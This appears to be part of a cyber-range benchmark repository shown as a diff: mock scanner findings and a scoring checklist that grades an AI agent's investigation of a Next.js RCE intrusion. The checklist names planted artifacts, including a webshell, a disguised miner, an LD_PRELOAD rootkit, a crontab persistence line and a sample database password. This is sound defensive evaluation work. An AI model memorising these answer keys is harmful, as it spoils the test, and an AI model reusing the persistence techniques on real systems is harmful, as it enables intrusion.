"Details": "/etc/ssh/sshd_config 中 PermitRootLogin 设为 yes,允许 root 用户直接通过 SSH 登录",
|
| 14 |
+
"Ip": "__VICTIM_IP__"
|
| 15 |
+
},
|
| 16 |
+
{
|
| 17 |
+
"RiskItemName": "SSH MaxAuthTries 设置过大",
|
| 18 |
+
"RiskLevel": "medium",
|
| 19 |
+
"Category": "ssh_config",
|
| 20 |
+
"ItemName": "SSH MaxAuthTries",
|
| 21 |
+
"CheckResult": "warn",
|
| 22 |
+
"Details": "MaxAuthTries 设置为 100,极大增加暴力破解成功概率",
|
| 23 |
+
"Ip": "__VICTIM_IP__"
|
| 24 |
+
},
|
| 25 |
+
{
|
| 26 |
+
"RiskItemName": "弱口令 - 系统账户",
|
| 27 |
+
"RiskLevel": "high",
|
| 28 |
+
"Category": "weak_password",
|
| 29 |
+
"ItemName": "WeakPassword-app",
|
| 30 |
+
"CheckResult": "warn",
|
| 31 |
+
"Details": "用户 app 使用弱密码",
|
| 32 |
+
"Ip": "__VICTIM_IP__"
|
| 33 |
+
},
|
| 34 |
+
{
|
| 35 |
+
"RiskItemName": "Sudoers NOPASSWD 配置",
|
| 36 |
+
"RiskLevel": "high",
|
| 37 |
+
"Category": "sudo_config",
|
| 38 |
+
"ItemName": "Sudo NOPASSWD",
|
| 39 |
+
"CheckResult": "warn",
|
| 40 |
+
"Details": "用户 app 对 /opt/webapp/deploy.sh 有 NOPASSWD sudo 权限",
|
| 41 |
+
"Ip": "__VICTIM_IP__"
|
| 42 |
+
}
|
| 43 |
+
]
|
| 44 |
+
}
|
ranges/log4j-rce/sas-mock/vulns.json
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"cve": {
|
| 3 |
+
"CurrentPage": 1,
|
| 4 |
+
"PageSize": 50,
|
| 5 |
+
"RequestId": "mock-range-log4j-rce-vuln-cve",
|
| 6 |
+
"TotalCount": 1,
|
| 7 |
+
"VulRecords": [
|
| 8 |
+
{
|
| 9 |
+
"AliasName": "CVE-2021-44228: Apache Log4j2 JNDI 远程代码执行漏洞",
|
| 10 |
+
"Name": "CVE-2021-44228",
|
| 11 |
+
"Necessity": "asap",
|
| 12 |
+
"Related": "log4j-core-2.14.1.jar",
|
| 13 |
+
"Type": "cve",
|
| 14 |
+
"FirstTs": 1714000000000,
|
| 15 |
+
"LastTs": 1714000000000,
|
| 16 |
+
"Ip": "__VICTIM_IP__",
|
| 17 |
+
"InternetIp": "__VICTIM_IP__",
|
| 18 |
+
"Level": "high"
|
| 19 |
+
}
|
| 20 |
+
]
|
| 21 |
+
},
|
| 22 |
+
"sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-sys", "TotalCount": 0, "VulRecords": [] },
|
| 23 |
+
"cms": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-cms", "TotalCount": 0, "VulRecords": [] },
|
| 24 |
+
"app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-app", "TotalCount": 0, "VulRecords": [] },
|
| 25 |
+
"emg": { "CurrentPage": 1, "PageSize": 50, "RequestId": "mock-range-log4j-rce-vuln-emg", "TotalCount": 0, "VulRecords": [] }
|
| 26 |
+
}
|
ranges/nextjs-rce/checklist.en.md
ADDED
|
@@ -0,0 +1,319 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-nextjs-rce Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge
|
| 7 |
+
- **detection-only**: Plan score is marked N/A and does not count toward the corresponding summary
|
| 8 |
+
|
| 9 |
+
## Dimension 1: Intrusion entity identification and disposal (5 items)
|
| 10 |
+
|
| 11 |
+
### CHK-01: Mining process detection `ENT-P01`
|
| 12 |
+
- **Evidence**: Process `/var/cache/.node-gc` is running, with mining log `/var/cache/.node-gc.log`
|
| 13 |
+
- **Detection score** (3 pts)
|
| 14 |
+
- Discovery: Identifies that the mining process exists
|
| 15 |
+
- Evidence: Points out the path `/var/cache/.node-gc`, recognizes the disguised name (imitating the Node.js GC process)
|
| 16 |
+
- Attribution: Associates the mining process with the attacker's post-intrusion profit-seeking behavior
|
| 17 |
+
- **Plan score** (2 pts)
|
| 18 |
+
- Correctness: The plan provides correct process-termination commands (kill/pkill)
|
| 19 |
+
- Completeness: The plan covers terminating the process + deleting the binary and log + checking the guard mechanism
|
| 20 |
+
|
| 21 |
+
### CHK-02: Mining binary cleanup `ENT-F02`
|
| 22 |
+
- **Evidence**: File `/var/cache/.node-gc` (script) + log `/var/cache/.node-gc.log`
|
| 23 |
+
- **Detection score** (3 pts)
|
| 24 |
+
- Discovery: Identifies the malicious file
|
| 25 |
+
- Evidence: Points out the file path and type
|
| 26 |
+
- Attribution: Associates it with the mining behavior
|
| 27 |
+
- **Plan score** (2 pts)
|
| 28 |
+
- Correctness: The plan provides correct deletion commands
|
| 29 |
+
- Completeness: The plan suggests checking hidden directories such as /var/cache and /tmp for copies
|
| 30 |
+
|
| 31 |
+
### CHK-03: Webshell (debug.js) detection `ENT-F01`
|
| 32 |
+
- **Evidence**: File `/opt/webapp/.next/static/chunks/debug.js` — Node.js Webshell
|
| 33 |
+
- **Detection score** (3 pts)
|
| 34 |
+
- Discovery: Identifies the Webshell file
|
| 35 |
+
- Evidence: Points out the path and content characteristics (HTTP server + execSync)
|
| 36 |
+
- Attribution: Associates its placement location (.next/static/chunks/) with the Next.js application structure
|
| 37 |
+
- **Plan score** (2 pts)
|
| 38 |
+
- Correctness: The plan provides correct file-deletion commands
|
| 39 |
+
- Completeness: The plan covers removing the Webshell + checking for other anomalous files under the .next directory
|
| 40 |
+
|
| 41 |
+
### CHK-04: Malicious SO / LD_PRELOAD persistence `ENT-F03` `PER-H01`
|
| 42 |
+
- **Evidence**: `/etc/ld.so.preload` contains `/usr/lib/x86_64-linux-gnu/.libnode_helper.so` — LD_PRELOAD rootkit SO
|
| 43 |
+
- **Detection score** (3 pts)
|
| 44 |
+
- Discovery: Identifies the malicious SO file, ld.so.preload has been tampered with
|
| 45 |
+
- Evidence: Points out the file path, hidden characteristic (starting with .), disguised name, cites the content of `/etc/ld.so.preload` and the corresponding SO file
|
| 46 |
+
- Attribution: Associates it with the LD_PRELOAD persistence mechanism, identifies it as LD_PRELOAD hijacking rootkit persistence
|
| 47 |
+
- **Plan score** (2 pts)
|
| 48 |
+
- Correctness: The plan provides commands to delete the SO + clean up ld.so.preload
|
| 49 |
+
- Completeness: The plan covers ldconfig refresh + checking for other preload entries
|
| 50 |
+
|
| 51 |
+
### CHK-05: Privesc residual files `ENT-F04`
|
| 52 |
+
- **Evidence**: `/tmp/.escalation_log`, `/tmp/.privesc_proof` — SUID privilege-escalation evidence
|
| 53 |
+
- **Detection score** (3 pts)
|
| 54 |
+
- Discovery: Discovers residuals from privilege-escalation operations
|
| 55 |
+
- Evidence: Points out that the file contents record the privilege-escalation path
|
| 56 |
+
- Attribution: Associates it with SUID backup-tool privilege escalation
|
| 57 |
+
- **Plan score** (2 pts)
|
| 58 |
+
- Correctness: Collect evidence first, then delete
|
| 59 |
+
- Completeness: Suggests checking for other hidden files under /tmp
|
| 60 |
+
|
| 61 |
+
## Dimension 2: Persistence and residency mechanisms (5 items)
|
| 62 |
+
|
| 63 |
+
### CHK-06: profile.d backdoor `PER-E01`
|
| 64 |
+
- **Evidence**: `/etc/profile.d/node-env.sh` hides mining-restart logic
|
| 65 |
+
- **Detection score** (3 pts)
|
| 66 |
+
- Discovery: Identifies the malicious script in profile.d
|
| 67 |
+
- Evidence: Cites the script content, points out the hidden background-process startup code within it
|
| 68 |
+
- Attribution: Identifies it as login-triggered persistence
|
| 69 |
+
- **Plan score** (2 pts)
|
| 70 |
+
- Correctness: Delete the malicious script
|
| 71 |
+
- Completeness: Review other scripts in the profile.d directory
|
| 72 |
+
|
| 73 |
+
### CHK-07: systemd service persistence `PER-S02`
|
| 74 |
+
- **Evidence**: `/etc/systemd/system/node-gc-helper.service` — disguised as a GC helper
|
| 75 |
+
- **Detection score** (3 pts)
|
| 76 |
+
- Discovery: Identifies the anomalous systemd service
|
| 77 |
+
- Evidence: Cites the service file content, points out that it executes the mining program
|
| 78 |
+
- Attribution: Associates the disguised service name (node-gc-helper) with the malicious behavior
|
| 79 |
+
- **Plan score** (2 pts)
|
| 80 |
+
- Correctness: stop + disable + delete the service file + daemon-reload
|
| 81 |
+
- Completeness: The plan covers all systemd-related cleanup steps
|
| 82 |
+
|
| 83 |
+
### CHK-08: crontab persistence `PER-S01`
|
| 84 |
+
- **Evidence**: The root crontab contains `*/5 * * * * /var/cache/.node-gc`
|
| 85 |
+
- **Detection score** (3 pts)
|
| 86 |
+
- Discovery: Identifies the anomalous crontab entry
|
| 87 |
+
- Evidence: Cites the complete crontab line
|
| 88 |
+
- Attribution: Associates it with mining-program persistence
|
| 89 |
+
- **Plan score** (2 pts)
|
| 90 |
+
- Correctness: The plan provides crontab -r or editing to remove the malicious line
|
| 91 |
+
- Completeness: Check all users' crontabs + /etc/cron.d
|
| 92 |
+
|
| 93 |
+
### CHK-09: SSH key injection `PER-A01`
|
| 94 |
+
- **Evidence**: `/root/.ssh/authorized_keys` contains the `deploy@vercel-ci` key
|
| 95 |
+
- **Detection score** (3 pts)
|
| 96 |
+
- Discovery: Identifies the anomalous SSH key
|
| 97 |
+
- Evidence: Cites the key content and comment field
|
| 98 |
+
- Attribution: Recognizes the disguised comment (deploy@vercel-ci is not a legitimate deployment key)
|
| 99 |
+
- **Plan score** (2 pts)
|
| 100 |
+
- Correctness: Remove the malicious key
|
| 101 |
+
- Completeness: Review all users' authorized_keys
|
| 102 |
+
|
| 103 |
+
### CHK-10: Webshell process persistence `PER-W01`
|
| 104 |
+
- **Evidence**: The debug.js Webshell listens on 127.0.0.1:9229 (disguised as the Node.js debugger port)
|
| 105 |
+
- **Detection score** (3 pts)
|
| 106 |
+
- Discovery: Identifies the Webshell process
|
| 107 |
+
- Evidence: Points out the listening port and process startup method
|
| 108 |
+
- Attribution: Associates it with Phase 1 of the Next.js attack chain
|
| 109 |
+
- **Plan score** (2 pts)
|
| 110 |
+
- Correctness: Terminate the process + delete the file
|
| 111 |
+
- Completeness: Check whether other anomalous ports are being listened on
|
| 112 |
+
|
| 113 |
+
## Dimension 3: Baseline risks (10 items)
|
| 114 |
+
|
| 115 |
+
### CHK-11: SSH PermitRootLogin `BAS-01`
|
| 116 |
+
- **Evidence**: `/etc/ssh/sshd_config` is configured with `PermitRootLogin yes`
|
| 117 |
+
- **Detection score** (3 pts) / **Plan score** (2 pts)
|
| 118 |
+
- Same category as range-ssh-miner CHK-05
|
| 119 |
+
|
| 120 |
+
### CHK-12: SSH PasswordAuth `BAS-01`
|
| 121 |
+
- **Evidence**: `/etc/ssh/sshd_config` is configured with `PasswordAuthentication yes`
|
| 122 |
+
- **Detection score** (3 pts) / **Plan score** (2 pts)
|
| 123 |
+
|
| 124 |
+
### CHK-13: SSH MaxAuthTries `BAS-01`
|
| 125 |
+
- **Evidence**: `MaxAuthTries 100` (should be tightened to 6 or lower)
|
| 126 |
+
- **Detection score** (3 pts) / **Plan score** (2 pts)
|
| 127 |
+
|
| 128 |
+
### CHK-14: root weak password `BAS-01`
|
| 129 |
+
- **Evidence**: Weak-password risk / password-login risk exists
|
| 130 |
+
- **Detection score** (3 pts) / **Plan score** (2 pts)
|
| 131 |
+
|
| 132 |
+
### CHK-15: node user dangerous sudoers `BAS-03`
|
| 133 |
+
- **Evidence**: `/etc/sudoers.d/node-ops` allows the node user to run backup-tool with NOPASSWD
|
| 134 |
+
- **Detection score** (3 pts)
|
| 135 |
+
- Discovery: The report mentions the dangerous sudoers configuration
|
| 136 |
+
- Evidence: Cites the sudoers.d content
|
| 137 |
+
- Attribution: Associates it with the SUID privilege-escalation path
|
| 138 |
+
- **Plan score** (2 pts)
|
| 139 |
+
- Correctness: Remove or strictly restrict the sudoers entry
|
| 140 |
+
- Completeness: Review all sudoers.d/ files
|
| 141 |
+
|
| 142 |
+
### CHK-16: SUID backup-tool `BAS-03`
|
| 143 |
+
- **Evidence**: `/usr/local/bin/backup-tool` has the SUID root bit + --exec command injection
|
| 144 |
+
- **Detection score** (3 pts)
|
| 145 |
+
- Discovery: Identifies the dangerous SUID file
|
| 146 |
+
- Evidence: Points out the SUID bit + the command-injection vulnerability of the --exec parameter
|
| 147 |
+
- Attribution: Associates it with the privilege-escalation path
|
| 148 |
+
- **Plan score** (2 pts)
|
| 149 |
+
- Correctness: Remove the SUID bit (chmod u-s) or remove the tool
|
| 150 |
+
- Completeness: Full-disk SUID audit suggestion
|
| 151 |
+
|
| 152 |
+
### CHK-17: .env file permissions `BAS-05`
|
| 153 |
+
- **Evidence**: `/opt/webapp/.env` permissions are too permissive (readable by non-node users)
|
| 154 |
+
- **Detection score** (3 pts)
|
| 155 |
+
- Discovery: The report mentions sensitive information exposure in the .env file
|
| 156 |
+
- Evidence: Cites the .env content (DB password, JWT Secret, SMTP password)
|
| 157 |
+
- Attribution: Associates the credential exposure with the attacker's information-gathering phase
|
| 158 |
+
- **Plan score** (2 pts)
|
| 159 |
+
- Correctness: chmod 600 + chown node:node + rotate all leaked credentials
|
| 160 |
+
- Completeness: The plan covers rotation of all leaked credentials
|
| 161 |
+
|
| 162 |
+
### CHK-18: PostgreSQL remote access `BAS-02`
|
| 163 |
+
- **Evidence**: `pg_hba.conf` allows `0.0.0.0/0` + `listen_addresses = '*'`
|
| 164 |
+
- **Detection score** (3 pts)
|
| 165 |
+
- Discovery: The report mentions PostgreSQL remote-access risk
|
| 166 |
+
- Evidence: Cites the pg_hba.conf and postgresql.conf configuration
|
| 167 |
+
- Attribution: Associates the database exposure with data leakage
|
| 168 |
+
- **Plan score** (2 pts)
|
| 169 |
+
- Correctness: Restrict pg_hba.conf to allow localhost only + modify listen_addresses
|
| 170 |
+
- Completeness: Includes password rotation + restart verification
|
| 171 |
+
|
| 172 |
+
### CHK-19: PostgreSQL weak password `BAS-02`
|
| 173 |
+
- **Evidence**: The webapp user password `webapp_db_2024!` is exposed in plaintext in .env
|
| 174 |
+
- **Detection score** (3 pts) / **Plan score** (2 pts)
|
| 175 |
+
|
| 176 |
+
### CHK-20: JWT/SMTP credential leak `BAS-05`
|
| 177 |
+
- **Evidence**: The JWT_SECRET and SMTP_PASSWORD in .env are exposed in plaintext
|
| 178 |
+
- **Detection score** (3 pts)
|
| 179 |
+
- Discovery: Identifies multiple credential leaks
|
| 180 |
+
- Evidence: Lists each leaked credential
|
| 181 |
+
- Attribution: Associates it with the attacker's information-gathering phase
|
| 182 |
+
- **Plan score** (2 pts)
|
| 183 |
+
- Correctness: Rotate all leaked credentials
|
| 184 |
+
- Completeness: After rotating the JWT Secret, all sessions must be invalidated
|
| 185 |
+
|
| 186 |
+
## Dimension 4: Vulnerability remediation (4 items)
|
| 187 |
+
|
| 188 |
+
### CHK-21: Next.js vuln (CVE-2025-66478) `VUL-04`
|
| 189 |
+
- **Evidence**: Next.js 14.x (version number in `/opt/webapp/node_modules/next/package.json`) has an RSC RCE
|
| 190 |
+
- **Detection score** (3 pts)
|
| 191 |
+
- Discovery: Identifies that the Next.js version has a known CVE
|
| 192 |
+
- Evidence: Precisely locates the version number in package.json
|
| 193 |
+
- Attribution: Correctly associates CVE-2025-66478 or the RSC deserialization vulnerability description
|
| 194 |
+
- **Plan score** (2 pts)
|
| 195 |
+
- Correctness: Upgrade Next.js to a secure version
|
| 196 |
+
- Completeness: Includes npm audit + rebuild + verification steps
|
| 197 |
+
|
| 198 |
+
### CHK-22: React version risk `VUL-04`
|
| 199 |
+
- **Evidence**: React 19.0.0 (react-server-dom-webpack related to the RSC RCE)
|
| 200 |
+
- **Detection score** (3 pts)
|
| 201 |
+
- Discovery: Identifies the association between the React version and the RSC vulnerability
|
| 202 |
+
- Evidence: Locates the version in package.json or node_modules
|
| 203 |
+
- Attribution: Associates CVE-2025-55182 or the React RSC deserialization chain
|
| 204 |
+
- **Plan score** (2 pts)
|
| 205 |
+
- Correctness: Upgrade React + react-dom + react-server-dom-webpack
|
| 206 |
+
- Completeness: Includes a dependency-compatibility check
|
| 207 |
+
|
| 208 |
+
### CHK-23: SUID tool code vuln `VUL-03`
|
| 209 |
+
- **Evidence**: In the backup-tool source, `system(exec_cmd)` performs no input validation
|
| 210 |
+
- **Detection score** (3 pts)
|
| 211 |
+
- Discovery: Identifies that the SUID tool has a command-injection vulnerability
|
| 212 |
+
- Evidence: Describes the exploitation path where the --exec parameter is passed into system()
|
| 213 |
+
- Attribution: Associates it with the SUID privilege-escalation path
|
| 214 |
+
- **Plan score** (2 pts)
|
| 215 |
+
- Correctness: Remove the SUID bit + fix the code or remove the --exec functionality
|
| 216 |
+
- Completeness: Suggests a SUID-tool security-audit process
|
| 217 |
+
|
| 218 |
+
### CHK-24: Next.js fix verification `VUL-04`
|
| 219 |
+
- **Evidence**: After remediation, the RSC exploit payload should return 4xx rather than 500+digest
|
| 220 |
+
- **Detection score** N/A (execution-only item)
|
| 221 |
+
- **Plan score** (2 pts)
|
| 222 |
+
- Correctness: The plan includes remediation-verification steps
|
| 223 |
+
- Completeness: Send the exploit payload to verify that it no longer returns execution results
|
| 224 |
+
|
| 225 |
+
## Dimension 5: Root-cause tracing + closed loop (10 items)
|
| 226 |
+
|
| 227 |
+
### CHK-25: Entry-point localization `Q-01` *detection-only*
|
| 228 |
+
- **Evidence**: The entry point is a Next.js RSC RCE (CVE-2025-66478)
|
| 229 |
+
- **Detection score** (3 pts)
|
| 230 |
+
- Discovery: The report clearly identifies the entry type as a web-application RCE
|
| 231 |
+
- Evidence: Provides the CVE number or an equivalent vulnerability description
|
| 232 |
+
- Attribution: Associates it with the Next.js version + the RSC deserialization chain
|
| 233 |
+
- **Plan score**: N/A
|
| 234 |
+
|
| 235 |
+
### CHK-26: Attack-chain reconstruction `Q-02` *detection-only*
|
| 236 |
+
- **Detection score** (3 pts)
|
| 237 |
+
- Discovery: The report reconstructs the complete attack chain (RCE → Webshell → SUID privilege escalation → persistence)
|
| 238 |
+
- Evidence: Each phase is supported by concrete evidence
|
| 239 |
+
- Attribution: The causal relationships between phases are correct
|
| 240 |
+
- **Plan score**: N/A
|
| 241 |
+
|
| 242 |
+
### CHK-27: Attacker-info extraction `Q-03` *detection-only*
|
| 243 |
+
- **Detection score** (3 pts)
|
| 244 |
+
- Discovery: Extracts the attacker's IP and tool characteristics
|
| 245 |
+
- Evidence: Locates the attack source from logs / network connections
|
| 246 |
+
- Attribution: Associates it with the source IPs of each phase in the attack chain
|
| 247 |
+
- **Plan score**: N/A
|
| 248 |
+
|
| 249 |
+
### CHK-28: SUID privesc path reconstruction `Q-02` *detection-only*
|
| 250 |
+
- **Detection score** (3 pts)
|
| 251 |
+
- Discovery: Identifies the privilege-escalation path node user → backup-tool --exec → root
|
| 252 |
+
- Evidence: Cites the sudoers configuration + SUID bit + command injection
|
| 253 |
+
- Attribution: Fully reconstructs the privilege-escalation chain
|
| 254 |
+
- **Plan score**: N/A
|
| 255 |
+
|
| 256 |
+
### CHK-29: Node.js process-chain provenance `Q-06` *detection-only*
|
| 257 |
+
- **Detection score** (3 pts)
|
| 258 |
+
- Discovery: The tracing chain from Node.js process → Next.js application → RSC vulnerability
|
| 259 |
+
- Evidence: Describes the parent/child relationships of the node process
|
| 260 |
+
- Attribution: Tracing capability across the JS runtime and web framework
|
| 261 |
+
- **Plan score**: N/A
|
| 262 |
+
|
| 263 |
+
### CHK-30: Attacker IP block `ENT-N01`
|
| 264 |
+
- **Detection score** N/A (execution-only item)
|
| 265 |
+
- **Plan score** (2 pts)
|
| 266 |
+
- Correctness: The plan includes iptables / security-group rules to block the attacker's IP
|
| 267 |
+
- Completeness: Bidirectional blocking (inbound + outbound)
|
| 268 |
+
|
| 269 |
+
### CHK-31: Mining-pool outbound block `ENT-N02`
|
| 270 |
+
- **Detection score** N/A (execution-only item)
|
| 271 |
+
- **Plan score** (2 pts)
|
| 272 |
+
- Correctness: Block pool.evil-example.invalid + port 3333
|
| 273 |
+
- Completeness: Includes blocking at both the DNS and IP levels
|
| 274 |
+
|
| 275 |
+
### CHK-32: Honesty (no fabricated CVE) `Q-04` *detection-only*
|
| 276 |
+
- **Detection score** (3 pts)
|
| 277 |
+
- Discovery: Whether the report correctly cites CVE-2025-66478 rather than fabricating a CVE number
|
| 278 |
+
- Evidence: The CVE information matches the actual vulnerability
|
| 279 |
+
- Attribution: 0 points = fabricated a non-existent CVE
|
| 280 |
+
- **Plan score**: N/A
|
| 281 |
+
|
| 282 |
+
### CHK-33: Investigation completeness `Q-05` *detection-only*
|
| 283 |
+
- **Detection score** (3 pts)
|
| 284 |
+
- Discovery: Whether all 5 persistence mechanisms are covered
|
| 285 |
+
- Evidence: Each persistence mechanism has a concrete path
|
| 286 |
+
- Attribution: Missing LD_PRELOAD incurs the heaviest deduction (advanced threat)
|
| 287 |
+
- **Plan score**: N/A
|
| 288 |
+
|
| 289 |
+
### CHK-34: Fix-verification completeness `Q-07` *detection-only*
|
| 290 |
+
- **Detection score** (3 pts)
|
| 291 |
+
- Discovery: Whether the remediation plan includes verification steps
|
| 292 |
+
- Evidence: Each remediation item has a corresponding verification command
|
| 293 |
+
- Attribution: The verification commands can confirm the remediation effect
|
| 294 |
+
- **Plan score**: N/A
|
| 295 |
+
|
| 296 |
+
## Dimension 6: Supplementary items (3 items)
|
| 297 |
+
|
| 298 |
+
### CHK-35: Next.js package.json version locate `VUL-04`
|
| 299 |
+
- **Evidence**: `/opt/webapp/package.json` and `/opt/webapp/node_modules/next/package.json`
|
| 300 |
+
- **Detection score** (3 pts)
|
| 301 |
+
- Discovery: Precisely locates the Next.js version number in package.json
|
| 302 |
+
- Evidence: Cites the specific file paths and version numbers
|
| 303 |
+
- Attribution: Explains why this version is affected
|
| 304 |
+
- **Plan score** (2 pts)
|
| 305 |
+
|
| 306 |
+
### CHK-36: .next dir anomaly scan `ENT-F01`
|
| 307 |
+
- **Evidence**: The debug.js under .next/static/chunks/ is not a normal build artifact
|
| 308 |
+
- **Detection score** (3 pts)
|
| 309 |
+
- Discovery: Performs an anomalous-file scan of the .next directory
|
| 310 |
+
- Evidence: Identifies files that are not build artifacts
|
| 311 |
+
- Attribution: Associates it with the Webshell deployment phase
|
| 312 |
+
- **Plan score** (2 pts)
|
| 313 |
+
|
| 314 |
+
### CHK-37: Business-impact assessment `Q-08` *detection-only*
|
| 315 |
+
- **Detection score** (3 pts)
|
| 316 |
+
- Discovery: The report assesses the impact of remediation operations on the Next.js application
|
| 317 |
+
- Evidence: Mentions possible compatibility issues from the npm upgrade and the service-restart window
|
| 318 |
+
- Attribution: The remediation plan balances security and availability
|
| 319 |
+
- **Plan score**: N/A
|
ranges/nextjs-rce/checklist.md
ADDED
|
@@ -0,0 +1,319 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
